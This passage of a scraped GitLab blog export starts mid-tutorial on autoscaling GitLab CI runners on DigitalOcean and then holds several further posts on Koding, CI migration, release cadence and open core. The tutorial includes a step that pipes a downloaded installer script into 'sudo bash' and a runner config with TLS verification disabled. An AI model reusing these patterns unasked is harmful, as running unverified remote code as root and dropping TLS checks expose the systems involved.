will be stored at the `/export/runner` directory.\n\n![Minio browser](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/minio-browser.png){: .shadow}\n\nMake sure the [bucket name is valid][bucket] (it must be a valid DNS naming, for example, **DO NOT use underlines**).\n\nOpen this URL from your freshly installed **GitLab CE**: `http://yourgitlab.com/admin/runners` and take note of the **Registration Token**. Let's say it's `1aaaa_Z1AbB2CdefGhij`\n\n![admin area](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/admin-area-gitlab.png){: .shadow}\n\nFinally, SSH in to \"ci-runner\" and run:\n\n```shell\ncurl -L https://github.com/docker/machine/releases/download/v0.7.0/docker-machine-`uname -s`-`uname -m` > /usr/local/bin/docker-machine\n\nchmod +x /usr/local/bin/docker-machine\n\ncurl -L https://packages.gitlab.com/install/repositories/runner/gitlab-ci-multi-runner/script.deb.sh | sudo bash\n\nsudo apt-get install gitlab-ci-multi-runner\n\nrm -Rf ~/.docker # just to make sure\n```\n\nNow you can register this new runner with your GitLab install, you will need the Registration Token mentioned above.\n\n```shell\nsudo gitlab-ci-multi-runner register\n```\n\nYou will be asked a few questions, and this is what you can answer:\n\n```shell\nPlease enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/ci )\nhttps://yourgitlab.com/ci\nPlease enter the gitlab-ci token for this runner\n1aaaa_Z1AbB2CdefGhij # as in the example above\nPlease enter the gitlab-ci description for this runner\nmy-autoscale-runner\nINFO[0034] fcf5c619 Registering runner... succeeded\nPlease enter the executor: shell, docker, docker-ssh, docker+machine, docker-ssh+machine, ssh?\ndocker+machine\nPlease enter the Docker image (eg. ruby:2.1):\ncodeminer42/ci-ruby:2.3\nINFO[0037] Runner registered successfully. Feel free to start it, but if it's\nrunning already the config should be automatically reloaded!\n```\n\nLet's make a copy of the original configuration, just to be safe:\n\n```shell\ncp /etc/gitlab-runner/config.toml /etc/gitlab-runner/config.bak\n```\n\nCopy the first few lines of this file (you want the token), it will look like this:\n\n```shell\nconcurrent = 1\ncheck_interval = 0\n\n[[runners]]\n  name = \"my-autoscale-runner\"\n  url = \"http://yourgitlab.com/ci\"\n  token = \"--- generated runner token ---\"\n  executor = \"docker+machine\"\n```\n\nThe important part here is the \"token\". You will want to take note of it. And now you also will want to create a [new API Token over at Digital Ocean][do-tok]. Just Generate a New Token and take note.\n\nYou can now replace the entire `config.toml` file for this:\n\n```toml\nconcurrent = 20\ncheck_interval = 0\n\n[[runners]]\n  name = \"my-autoscale-runner\"\n  url = \"http://yourgitlab.com/ci\"\n  token = \"--- generated runner token ---\"\n  executor = \"docker+machine\"\n  limit = 15\n  [runners.docker]\n    tls_verify = false\n    image = \"codeminer42/ci-ruby:2.3\"\n    privileged = false\n  [runners.machine]\n    IdleCount = 2                   # There must be 2 machines in Idle state\n    IdleTime = 1800                 # Each machine can be in Idle state up to 30 minutes (after this it will be removed)\n    MaxBuilds = 100                 # Each machine can handle up to 100 builds in a row (after this it will be removed)\n    MachineName = \"ci-auto-scale-%s\"   # Each machine will have a unique name ('%s' is required)\n    MachineDriver = \"digitalocean\"  # Docker Machine is using the 'digitalocean' driver\n    MachineOptions = [\n        \"digitalocean-image=coreos-beta\",\n        \"digitalocean-ssh-user=core\",\n        \"digitalocean-access-token=-- your new Digital Ocean API Token --\",\n        \"digitalocean-region=nyc1\",\n        \"digitalocean-size=4gb\",\n        \"digitalocean-private-networking\",\n        \"engine-registry-mirror=http://10.0.0.1:6000\"\n    ]\n  [runners.cache]\n    Type = \"s3\"   # The Runner is using a distributed cache with Amazon S3 service\n    ServerAddress = \"10.0.0.2:9005\"  # minio\n    AccessKey = \"-- your minio access key --\"\n    SecretKey = \"-- your minio secret key\"\n    BucketName = \"runner\"\n    Insecure = true # Use Insecure only when using with Minio, without the TLS certificate enabled\n```\n\nAnd you can restart the runner to pick up the new configuration like this:\n\n```shell\ngitlab-ci-multi-runner restart\n```\n\nAs I said before, you will want to read the extensive [official documentation][auto-sc-doc] (and every link within).\n\nIf you did everything right, changing the correct private IPs for the docker registry and cache, the correct tokens, and so forth, you can log in to your Digital Ocean dashboard and you will see something like this:\n\n![DO droplets](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/digital-ocean-droplets.png){: .shadow}\n\nAnd from the `ci-runner` machine, you can list them like this:\n\n```shell\n# docker-machine ls\n\nNAME                                    ACTIVE        DRIVER   STATE     URL            SWARM   DOCKER    ERRORS\nrunner-xxxx-ci-auto-scale-xxxx-xxxx  -  digitalocean  Running  tcp://191.168.0.1:237    v1.10.3\nrunner-xxxx-ci-auto-scale-xxxx-xxxx  -  digitalocean  Running  tcp://192.169.0.2:2376   v1.10.3\n```\n\nThey should not list any errors, meaning that they are up and running, waiting for new builds to start.\n\nThere will be 2 new machines listed in your Digital Ocean dashboard, named \"runner-xxxxx-ci-auto-scale-xxxxx\". This is what `IdleCount = 2` does. If they stay idle for more than 30 minutes (`IdleTime = 1800`) they will be shut down so you don't get charged.\n\nYou can have several \"runner\" definitions, each with a `limit` of builds/machines that can be spawned in Digital Ocean. You can have other runner definitions for other providers, for example. But in this example we are limited to at most 15 machines, so 15 concurrent builds.\n\nThe `concurrent` limit is a global setting. So if I had 3 runner definitions, each with a `limit` of 15, they would still be globally limited to 20 as defined in the `concurrent` global variable.\n\nYou can use different providers for specific needs, for example, to run macOS builds or Raspberry Pi builds or other exotic kinds of builds. In the example I am keeping it simple and just setting many builds in the same provider (Digital Ocean).\n\nAnd don't worry about the monthly fee for each machine. When used in this manner, you will be paying per hour.\n\nAlso, make sure you spun up all your machines (docker-registry, minio cache, CI runner) all with private networking enabled (so they talk through the internal VLAN instead of having to go all the way through the public internet) and that they are all in the same region data center (NYC1 is New York 1 - New York has 3 sub-regions, for example). Don't start machines in different regions.\n\nBecause we have Docker proxy/cache and Minio/S3 cache, your builds will take longer the first time (let's say, 5 minutes), and then subsequent build will fetch everything from the cache (taking, let's say, 1:30 minute). It's fast and it's convenient.\n\n## Setting up each Project for the Runner\n\nThe Runner is one of the newest pieces of the GitLab ecosystem so you might have some trouble at first to figure out a decent configuration. But once you have the whole infrastructure figured out as described in the previous section, now it's as easy as adding a `.gitlab-ci.yml` file to your root directory. Something like this:\n\n```yaml\n# This file is a template, and might need editing before it works on your project.\nimage: codeminer42/ci-ruby:2.3\n\n# Pick zero or more services to be used on all builds.\n# Only needed when using a docker container to run your tests in.\n# Check out: https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-service\nservices:\n  - postgres:latest\n  - redis:latest\n\ncache:\n  key: your-project-name\n  untracked: true\n  paths:\n    - .ci_cache/\n\nvariables:\n  RAILS_ENV: 'test'\n  DATABASE_URL: postgresql://postgres:@postgres\n  CODECLIMATE_REPO_TOKEN: -- your codeclimate project token --\n\nbefore_script:\n  - bundle install --without development production -j $(nproc) --path .ci_cache\n  - cp .env.sample .env\n  - cp config/database.yml.example config/database.yml\n  - bundle exec rake db:create db:migrate\n\ntest:\n  script:\n    - xvfb-run bundle exec rspec\n```\n\nMy team at [Codeminer 42][codeminer] prepared a simple [Docker image] with useful stuff pre-installed (such as the newest phantomjs, xvfb, etc), so it's now super easy to enable automated builds within GitLab by just adding this file to the repositories. (Thanks to Carlos Lopes, Danilo Resende and Paulo Diovanni - who will be talking about [Docker at Rubyconf Brasil 2016][docker-conf], by the way).\n\nGitLab CI even supports building a pending Merge Request, and you can enforce the request so it can only be merged if builds pass, just like in GitHub + Travis. And as Code Climate is agnostic to Repository host or CI runner, you can easily integrate it as well.\n\n![merge requests](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/settings-codeminer42-cm-fulcrum-gitlab.png){: .shadow}\n\n## Conclusion\n\nThe math is hard to argue against: the GitLab + GitLab CI + Digital Ocean combo is a big win. GitLab's interface is very familiar so users from GitHub or Bitbucket will feel quite at home in no time.\n\nWe can use all the [Git flows] we're used to.\n\n**GitLab CE** is still a work in progress though, the team is increasing their pace but there are currently more than [4,200 open issues][gl-issues]. But as this is all Ruby on Rails and Ruby tooling, you can easily jump in and contribute. No contribution is too small. Just by reporting how to reproduce a bug is help enough to assist the developers to figure out how to improve faster.\n\nBut don't shy away because of the open issues, it's fully functional as of right now and I have not found any bugs that could be considered show stoppers.\n\nThey have many things right. First of all, it's a \"simple\" Ruby on Rails project. It's a no-thrills front-end with plain JQuery. The choice of HAML for the views is questionable but it doesn't hurt. They use good old Sidekiq+Redis for asynchronous jobs. No black magic here. A pure monolith that's not difficult to understand and to contribute.\n\nThe APIs are all written using Grape. They have the [GitLab CE][ce] project separated from other components, such as the [GitLab Shell][shell] and [GitLab CI Multi-Runner][run].\n\nThey also forked [Omnibus][omn] in order to be able to package the CE Rails project as a \".deb\". Everything is orchestrated with Docker. And when a new version is available, you only need to `apt-get update && apt-get upgrade` and it will do all the work of backing up and migrating Postgresql, updating the code, bundling in new dependencies, restarting the services and so forth. It's super convenient and you should take a look at this project if you have complicated Rails deployments into your own infrastructure (out of Heroku, for example).\n\nI am almost done moving hundreds of repositories from both Bitbucket and GitHub to GitLab right now and the developers from my company are already using it in a daily basis without any problems. We are almost at the point where we can disengage from Bitbucket, GitHub and external CIs.\n\nYou will be surprised how **easy your company can do it** too and **save a couple thousand dollars** in the process, while **having fun doing it**!\n\n----\n\n_**Note:** this article was originally posted by [AkitaOnRails]._\n\n\u003C!-- identifiers -->\n\n[AkitaOnRails]: http://www.akitaonrails.com/2016/08/03/moving-to-gitlab-yes-it-s-worth-it\n[auto-sc-doc]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/autoscale.md\n[auto-scaling]: /releases/2016/03/29/gitlab-runner-1-1-released/\n[bucket]: http://docs.aws.amazon.com/AmazonS3/latest/dev/BucketRestrictions.html\n[ce]: https://gitlab.com/gitlab-org/gitlab-ce\n[codeminer]: http://www.codeminer42.com/\n[comm-graph]: https://github.com/gitlabhq/gitlabhq/graphs/contributors?from=2015-03-14&to=2016-08-02&type=c\n[conf]: http://www.rubyconf.com.br/pt-BR/speakers#Gabriel%20Gon%C3%A7alves%20Nunes%20Mazetto\n[do-inst]: https://www.digitalocean.com/features/one-click-apps/gitlab/\n[do-tok]: https://www.digitalocean.com/community/tutorials/how-to-use-the-digitalocean-api-v2\n[do-ub]: https://www.digitalocean.com/community/tutorials/how-to-add-swap-on-ubuntu-14-04\n[doc-runner]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/autoscaling.md#prepare-the-docker-registry-and-cache-server\n[Docker image]: https://hub.docker.com/r/codeminer42/ci-ruby/\n[docker-conf]: http://www.rubyconf.com.br/pt-BR/speakers#Paulo%20Diovani%20Gon%C3%A7alves\n[documentation]: /install/\n[douglas]: https://gitlab.com/dbalexandre\n[evang]: http://www.akitaonrails.com/2007/9/22/jogar-pedra-em-gato-morto-por-que-subversion-no-presta\n[gabriel]: https://gitlab.com/brodock\n[gh-fund]: https://www.crunchbase.com/organization/github#/entity\n[gh-prices]: https://github.com/blog/2164-introducing-unlimited-private-repositories\n[Git flows]: /2014/09/29/gitlab-flow/\n[GitLab.com]: https://gitlab.com/users/sign_in\n[gitorious]: https://gitorious.org/gitorious/oboxodo-gitorious?p=gitorious:oboxodo-gitorious.git;a=search;h=9f6bdf5887c65a440bc3fdc43a14652f42ddf103;s=Fabio+Akita;st=committer\n[gl-fund]: https://www.crunchbase.com/organization/gitlab-com#/entity\n[gl-issues]: https://gitlab.com/gitlab-org/gitlab-ce/issues\n[gl]: /\n[inst-gl-run]: /blog/how-to-set-up-gitlab-runner-on-digitalocean/\n[locale]: http://askubuntu.com/questions/162391/how-do-i-fix-my-locale-issue\n[Minio]: https://github.com/minio/minio\n[omn]: https://gitlab.com/gitlab-org/omnibus-gitlab\n[omni-auth]: https://docs.gitlab.com/ee/integration/omniauth.html\n[override]: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/environment-variables.md\n[run]: https://gitlab.com/gitlab-org/gitlab-runner\n[runner]: https://gitlab.com/gitlab-org/gitlab-runner\n[shell]: https://gitlab.com/gitlab-org/gitlab-shell\n[vars]: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-cookbooks/gitlab/attributes/default.rb#L57\n",{"slug":37754,"featured":6,"template":678},"moving-to-gitlab-yes-its-worth-it","content:en-us:blog:moving-to-gitlab-yes-its-worth-it.yml","Moving To Gitlab Yes Its Worth It","en-us/blog/moving-to-gitlab-yes-its-worth-it.yml","en-us/blog/moving-to-gitlab-yes-its-worth-it",{"_path":37760,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37761,"content":37767,"config":37771,"_id":37773,"_type":16,"title":37774,"_source":17,"_file":37775,"_stem":37776,"_extension":20},"/en-us/blog/koding-and-gitlab-integrated",{"title":37762,"description":37763,"ogTitle":37762,"ogDescription":37763,"noIndex":6,"ogImage":37764,"ogUrl":37765,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37765,"schema":37766},"Koding + GitLab: Contribute code faster","Koding and GitLab are integrated to make contributing code faster!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683769/Blog/Hero%20Images/koding-and-gitlab-integrated-cover.png","https://about.gitlab.com/blog/koding-and-gitlab-integrated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Koding + GitLab: Contribute code faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-07-26\",\n      }",{"title":37762,"description":37763,"authors":37768,"heroImage":37764,"date":37769,"body":37770,"category":299},[3532],"2016-07-26","\n\nToday, developers spend hours creating dev environments before they can write a single line of code. \nWe think that's backwards. Development is collaborative and most developers work across a variety of environments \nso the time spent building unique dev environments builds up pretty quickly. With [Koding] and GitLab, developers \nnever have to waste time on this again.\n\n\u003C!-- more -->\n\n## Our vision\n\nOur vision is that developers should be able to contribute code faster with one-click to build \nevery project, issue, and merge request in a complete IDE. Koding makes it so much easier to get started.\nIf you see an issue you want to work on, it only takes one-click to build an environment where you \nand your team can work together. You don’t have to configure anything locally, you can just start coding.\nWith Koding and GitLab, teams will be able to work together seamlessly by having every GitLab repo buildable \non any cloud. You can get started as a contributor, check out merge requests, and inspect failing tests faster \nand easier than ever. Our hope is that removing the burden of building dev environments will help developers\ncollaborate on more projects and focus on writing code that will improve their products.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/7rX_KzCMNtk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Faster from idea to production\n\nAt GitLab, we want to enable teams to go faster from idea to production by using one integrated set of tools for \nthe software development lifecycle. We see a world where you chat about something, turn that idea into an issue\nwithout leaving the chat interface, spin up an IDE to work on the issue,  commit your changes, run tests with GitLab\nCI, let peers review and edit your code, and once it’s ready you can deploy to the necessary environment. Then after\nyou’ve deployed to production, you’ll be able to review how your team progressed from idea to production. This final\nstep is important feedback to help you improve the development process by understanding the overall health of your\nproject as well as the time spent in each stage. We are working on an updated video to show you all of the steps I’ve\njust shared. In the meantime, watch our [current demo](https://youtu.be/pY4IbEXxxGY) and tell us what you think. \n\n## What's next \n\nBoth GitLab and [Koding] are excited about what we have coming with our integration. We hope to deliver the first\niteration in our next release on August 22nd. If you're interested in learning more or you want to share your ideas,\ncheck out [this issue](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/4769) that details more of our plans.  \n\n[koding]: http://www.koding.com/\n",{"slug":37772,"featured":6,"template":678},"koding-and-gitlab-integrated","content:en-us:blog:koding-and-gitlab-integrated.yml","Koding And Gitlab Integrated","en-us/blog/koding-and-gitlab-integrated.yml","en-us/blog/koding-and-gitlab-integrated",{"_path":37778,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37779,"content":37785,"config":37790,"_id":37792,"_type":16,"title":37793,"_source":17,"_file":37794,"_stem":37795,"_extension":20},"/en-us/blog/building-our-web-app-on-gitlab-ci",{"title":37780,"description":37781,"ogTitle":37780,"ogDescription":37781,"noIndex":6,"ogImage":37782,"ogUrl":37783,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37783,"schema":37784},"Building our web-app on GitLab CI","5 reasons why Captain Train migrated from Jenkins to GitLab CI","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684187/Blog/Hero%20Images/building-our-web-app-on-gitlab-ci-cover.jpg","https://about.gitlab.com/blog/building-our-web-app-on-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building our web-app on GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pierre de La Morinerie\"}],\n        \"datePublished\": \"2016-07-22\",\n      }",{"title":37780,"description":37781,"authors":37786,"heroImage":37782,"date":37788,"body":37789,"category":734},[37787],"Pierre de La Morinerie","2016-07-22","\n\nThe railway world is a fast-moving environment. To bring you the latest improvements and fixes as quick as possible, Captain Train’s web-app is often updated, sometimes several times per day.\n\nDid you always wonder how we manage building and deploying all of this without a jolt? Then read-on: here is a technical peek into our engineering process.\n\n**Note:** this post tells the customer story of [Captain Train][cap].\n{: .note}\n\n\u003C!-- more -->\n\n## From Jenkins to GitLab CI\n\nWe used to build our web-app using [Jenkins]. A robust and proven solution—which was polling our repositories every minute, and built the appropriate integration and production branches.\n\nHowever we recently switched to a new system for building our web-app. To host our source-code and perform merge-requests, we’re using a self-managed instance of [GitLab]. It’s nice, open-source—and features an integrated build system: [GitLab CI].\n\nSee it like Travis, but integrated: just add a custom `.gitlab-ci.yml` file at the root of your repository, and GitLab will automatically start building your app in the way you specified.\n\nNow what’s cool about this?\n\n## Reliable dockerized builds\n\nJenkins builds were all executed on a resource-constrained server—and this made builds slow and unreliable. For instance, we observed several times PhantomJS crashing randomly during tests: apparently it didn’t like several builds running on the same machine at the same time—and a single PhantomJS process crashing would bring all of the others down.\n\nSo the first step of our migration was to insulate builds into Docker containers. In this way:\n\n- **Every build is isolated from the others**, and processes don’t crash each other randomly.\n- **Building the same project on different architectures is easy**, and that’s good news, because we need this to support multiple Debian versions.\n- Project maintainers have **greater control on the setup of their build environment**: no need to bother an admin when upgrading an SDK on the shared build machine.\n\n## It scales\n\nGitLab CI allows us to add more runners very easily. And now that builds are performed in Docker containers, we don’t have to configure the runners specifically with our build tools: any out-of-the-box server will do.\n\nOnce a new runner is declared, **scaling is automatic**: the most available runner will be picked to start every new build. It’s so simple that you can even add your own machine to build locally.\n\nWe’ve already reduced our build time by switching to a more powerful runner—a migration that would have been more difficult to do using Jenkins. Although we regularly optimize the run time of our test suite, sometimes you also need to just throw more CPU at it.\n\n## Easier to control\n\nWith Jenkins, the configuration of the build job is stored in an external admin-restricted tool. You need the right credentials to edit the build configuration, and it’s not obvious how to do it.\n\nUsing GitLab CI, the build jobs are determined solely from the `.gitlab-ci.yml` file in the repository. This makes it really simple to edit, and you get all the niceties of your usual git work-flow: versioning, merge requests, and so on. You don’t need to ask permission to add CI to your project. Lowering the barrier to entry for CI is definitely a good thing for engineering quality and developer happiness.\n\n## Tests on merge requests\n\nGitLab CI makes it really easy to build and test the branch of a **merge request** (or a _“Pull request”_ in GitHub slang). Just a few lines added to our `.gitlab-ci.yml` file, and we were running tests for every push to a merge request.\n\n![Merge automatically when the build succeeds][merge]{: .shadow}\n\nWe get nice red-or-green-status, the quite useful _“Merge automatically when the build succeeds”_ button — and, as branches are now tested before being merged, much less build breakage.\n\n![Build Passed][build]{: .shadow}\n\n## A slick UI\n\nGitLab CI provides _“Pipelines”_, an overview of all your build jobs. This points you quickly to a failing build, and the stage where the problem occurs. Plus it gets you this warm and fuzzy feeling of safeness when everything is green.\n\n![Pipelines]{: .shadow}\n\n## In a nutshell\n\nWe found the overall experience quite positive. Once the initial hurdle of making the build pass in a Docker container, integrating it into GitLab CI was really easy. And it gave us tons of positive signals, new features and neat integrations. 10/10, would build again.👍\n\nOur Android team also migrated their pipeline, and are now building the integration and production Android APK with GitLab CI.\n\nFor further reading, you can find on the official website a nice [overview of GitLab CI features][GitLab CI], and some [examples of `.gitlab-ci.yml` files][CI examples].\n\n_This post was originally [published by Captain Train][cap-post]._\n\n_[Captain Train][cap], the European train ticketing company, makes buying train tickets faster, easier, and ad-free. Their goal is to revolutionize the purchase of train tickets and their doing it by engineering the best user-experience._\n{: .note}\n\n\u003C!-- identifiers -->\n\n[build]: /images/blogimages/cross-post-gitlab-ci/build-passed.png\n[cap]: https://www.captaintrain.com\n[cap-post]: https://blog.captaintrain.com/12703-building-on-gitlab-ci\n[Jenkins]: https://jenkins.io/\n[GitLab]: \n[GitLab CI]: /solutions/continuous-integration/ [CI examples]: https://docs.gitlab.com/ee/ci/quick_start/\n[merge]: /images/blogimages/cross-post-gitlab-ci/merge-when-build-succeeds.png\n[pipelines]:/images/blogimages/cross-post-gitlab-ci/pipelines.png\n",{"slug":37791,"featured":6,"template":678},"building-our-web-app-on-gitlab-ci","content:en-us:blog:building-our-web-app-on-gitlab-ci.yml","Building Our Web App On Gitlab Ci","en-us/blog/building-our-web-app-on-gitlab-ci.yml","en-us/blog/building-our-web-app-on-gitlab-ci",{"_path":37797,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37798,"content":37804,"config":37808,"_id":37810,"_type":16,"title":37811,"_source":17,"_file":37812,"_stem":37813,"_extension":20},"/en-us/blog/release-early-release-often",{"title":37799,"description":37800,"ogTitle":37799,"ogDescription":37800,"noIndex":6,"ogImage":37801,"ogUrl":37802,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37802,"schema":37803},"Release Early, Release Often","Let’s explore the rise of releasing early and often!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683752/Blog/Hero%20Images/release-early-release-often-cover.jpg","https://about.gitlab.com/blog/release-early-release-often","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Release Early, Release Often\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-07-21\",\n      }",{"title":37799,"description":37800,"authors":37805,"heroImage":37801,"date":37806,"body":37807,"category":8943},[3532],"2016-07-21","\n\nAnother trend that keeps popping onto the radar is a continuing **reduction in time between deploys**. In this post we’re looking at what that means and why it’s happened.\n\n**Note:** this post is the second of the series on _Trends in Version Control_. The first one explored _[Innersourcing][part-1]_.\n{: .note}\n\n\u003C!-- more -->\n\nSoftware development has changed a lot over the decades. Development practices have shifted from traditional waterfall to [agile development](/solutions/agile-delivery/) and now to even faster deployments. Applications used to be deployed every 6 months. There would be one big deploy. Teams would be briefed in advance. Then on release day it’s all hands on deck to ensure the release goes as planned. While two releases a year seems frequent compared to the days when we used to wait several years for new product and operating systems, people are still moving away from biannual releases and opting for more frequent release cycles.\n\n## The logic behind deploying early and often\n\nOne of the biggest issues with carrying out a large deployment once or twice a year is that it creates a bottleneck and you end up with a coordination problem between all the features you want to release. If everything is ready to go but one small feature is delayed, then everything is delayed. Also let’s say that there is a very real off chance that there is a bug in the deployment that you’ve spent 6 months working on. You deploy it and realize there is a bug; however, your deployment contains so many lines of code that it won’t be easy to spot the exact thing that caused the bug.\n \nEverything will not be perfect when it’s sent out the door the first time. The early-and-often deployment mindset is about shifting away from full-featured perfection to smaller slices of customer value. Everything is thought of in terms of iterations, or drafts; basically, it is a permanent work in progress, always getting better.\n \nIf there’s a bug, it’s not nearly as a big of a deal as in the days of the annual or biannual deployment, because it’s much easier to isolate what caused it and to fix it, and you can release a fix almost immediately. If a particular feature isn’t ready, that won’t hold up the release; that feature can just be released next month.\n\n## Moving to time-based releases\n\nTo make releasing early and often possible, teams have started using [time-based releases] versus feature-based releases. Moving to time-based releases means no more waiting for features to be ready; instead you only merge features that are ready at the time of your release. At GitLab, we stick to time-based releases, also does  [Docker], [Ubuntu] and [GNOME]. Some may even say we’ve taken them to the extreme. Since 2011, we always ship on the 22nd of every month. Then any patches are released when they are ready. When we first started doing time-based releases, it was difficult to stick to them. Here’s some advice on how you make the move.\n\n- Decouple features so you don’t have to hold the deploy for one feature\n- Focus on getting smaller features out the door when the first iteration is usable \n- Adopt time-based releases and ship on that date \n- Patches can be released when they are ready\n- Reduce the time between releases by getting from issue to deploy quicker\n\n## Key takeaway\n\nThe longer you wait between releases, the more attractive it can be to hold your release to wait for the next feature. However, you should stick to time-based release. Keep in mind with time-based releases you also have to shorten the time between releases too. The reality is that the idea of the perfect software release is now obsolete, because technology advances too quickly for that to ever be possible, and that’s a good thing. Perfection is no longer the point: usability, fast turnaround, and overall development efficiency are far more important.\n\nWant to read up on more trends? Check out our last post on [Innersourcing][part-1].\n\n\u003C!-- cover image: https://unsplash.com/photos/r-EecLdRRww - resized and compressed -->\n\n\u003C!-- Identifiers, in alphabetical order -->\n\n[DOCKER]: https://github.com/docker/docker/wiki\n[GNOME]: https://wiki.gnome.org/ReleasePlanning/TimeBased\n[part-1]: /topics/version-control/what-is-innersource/\n[time-based releases]: http://www.infoworld.com/article/2638146/open-source-software/time-based-release-methodologies-and-open-source-communities.html\n[Ubuntu]: https://wiki.ubuntu.com/TimeBasedReleases\n",{"slug":37809,"featured":6,"template":678},"release-early-release-often","content:en-us:blog:release-early-release-often.yml","Release Early Release Often","en-us/blog/release-early-release-often.yml","en-us/blog/release-early-release-often",{"_path":37815,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37816,"content":37822,"config":37826,"_id":37828,"_type":16,"title":37829,"_source":17,"_file":37830,"_stem":37831,"_extension":20},"/en-us/blog/gitlab-is-open-core-github-is-closed-source",{"title":37817,"description":37818,"ogTitle":37817,"ogDescription":37818,"noIndex":6,"ogImage":37819,"ogUrl":37820,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37820,"schema":37821},"GitLab is open core, GitHub is closed source","We think of ourselves as an open source company. But today paxcoder on Hacker News rightly remarked that calling it an open core company is more accurate.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683647/Blog/Hero%20Images/sailing-5.jpg","https://about.gitlab.com/blog/gitlab-is-open-core-github-is-closed-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is open core, GitHub is closed source\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-07-20\",\n      }",{"title":37817,"description":37818,"authors":37823,"heroImage":37819,"date":37824,"body":37825,"category":8943},[3532],"2016-07-20","\n\nDisclosure: I'm the CEO of GitLab and we compete with GitHub.\n\nWe think of ourselves as an open source company. But today paxcoder on Hacker News rightly [remarked that calling it an open core company is more accurate](https://news.ycombinator.com/item?id=12129626).\n\nWe ship [GitLab CE](/install/ce-or-ee/) which is open source and GitLab EE that is closed source. We try to be [a good steward of the open source project](/company/stewardship/). GitLab EE is proprietary, closed source code but we try to work in a way similar to GitLab CE: the [issue tracker](https://gitlab.com/gitlab-org/gitlab-ee/issues) is publicly viewable and the [EE license](https://gitlab.com/gitlab-org/gitlab-ee/blob/master/LICENSE) allows modifications.\n\nWhen we mention that GitLab is available in an open source edition people frequently ask [\"Isn't GitHub open source?\"](http://stackoverflow.com/questions/24254324/is-github-com-source-code-open-source). I understand the confusion between open source hosting and open source software. The hosted service [GitHub.com](https://github.com/) is free for open source projects and it has fundamentally improved open source collaboration. But the software GitHub's service is based on is closed source.\n\n\u003C!-- more -->\n\nAt the end of [a presentation in Spanish](https://vimeo.com/62219734) at RubyConf Argentina in 2012 ([our English translation](https://gitlab.com/snippets/22853)) you see someone in the audience ask why GitHub isn't open source. The presenter's answer is that this would hurt their business. Also mentioned in the presentation is that GitHub encrypts their source code with [Ruby Encoder](https://www.rubyencoder.com/) and they have text in [the license](https://enterprise.github.com/license) that forbids customers from using GitHub Enterprise to compete with GitHub.com.\n\nOf course, GitHub has every right to close and encrypt their source code. GitHub [very actively contributes to open source](http://tom.preston-werner.com/2011/11/22/open-source-everything.html) themselves, including many contributions to Git and Ruby on Rails, and releasing libraries and applications like libgit2, [Atom](https://atom.io/), and Hubot. Also note that we build GitLab with software that GitHub open sourced such as libgit2.\n\nIn conclusion (TLDR), GitLab has an open core business model and ships both open and closed source software. GitHub hosts most open source projects but ships closed source software.\n",{"slug":37827,"featured":6,"template":678},"gitlab-is-open-core-github-is-closed-source","content:en-us:blog:gitlab-is-open-core-github-is-closed-source.yml","Gitlab Is Open Core Github Is Closed Source","en-us/blog/gitlab-is-open-core-github-is-closed-source.yml","en-us/blog/gitlab-is-open-core-github-is-closed-source",{"_path":37833,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37834,"content":37840,"config":37844,"_id":37846,"_type":16,"title":37847,"_source":17,"_file":37848,"_stem":37849,"_extension":20},"/en-us/blog/markdown-kramdown-tips-and-tricks",{"title":37835,"description":37836,"ogTitle":37835,"ogDescription":37836,"noIndex":6,"ogImage":37837,"ogUrl":37838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37838,"schema":37839},"Markdown Kramdown Tips and Tricks","Learn how to apply classes to markdown, create ToCs, embed iframes and much more!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671850/Blog/Hero%20Images/markdown-kramdown-tips-and-tricks-cover.png","https://about.gitlab.com/blog/markdown-kramdown-tips-and-tricks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Markdown Kramdown Tips and Tricks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-07-19\",\n      }",{"title":37835,"description":37836,"authors":37841,"heroImage":37837,"date":37842,"body":37843,"category":734},[34953],"2016-07-19","\nIf you use a markdown engine for writing your website content and you'd like to\nlearn a few 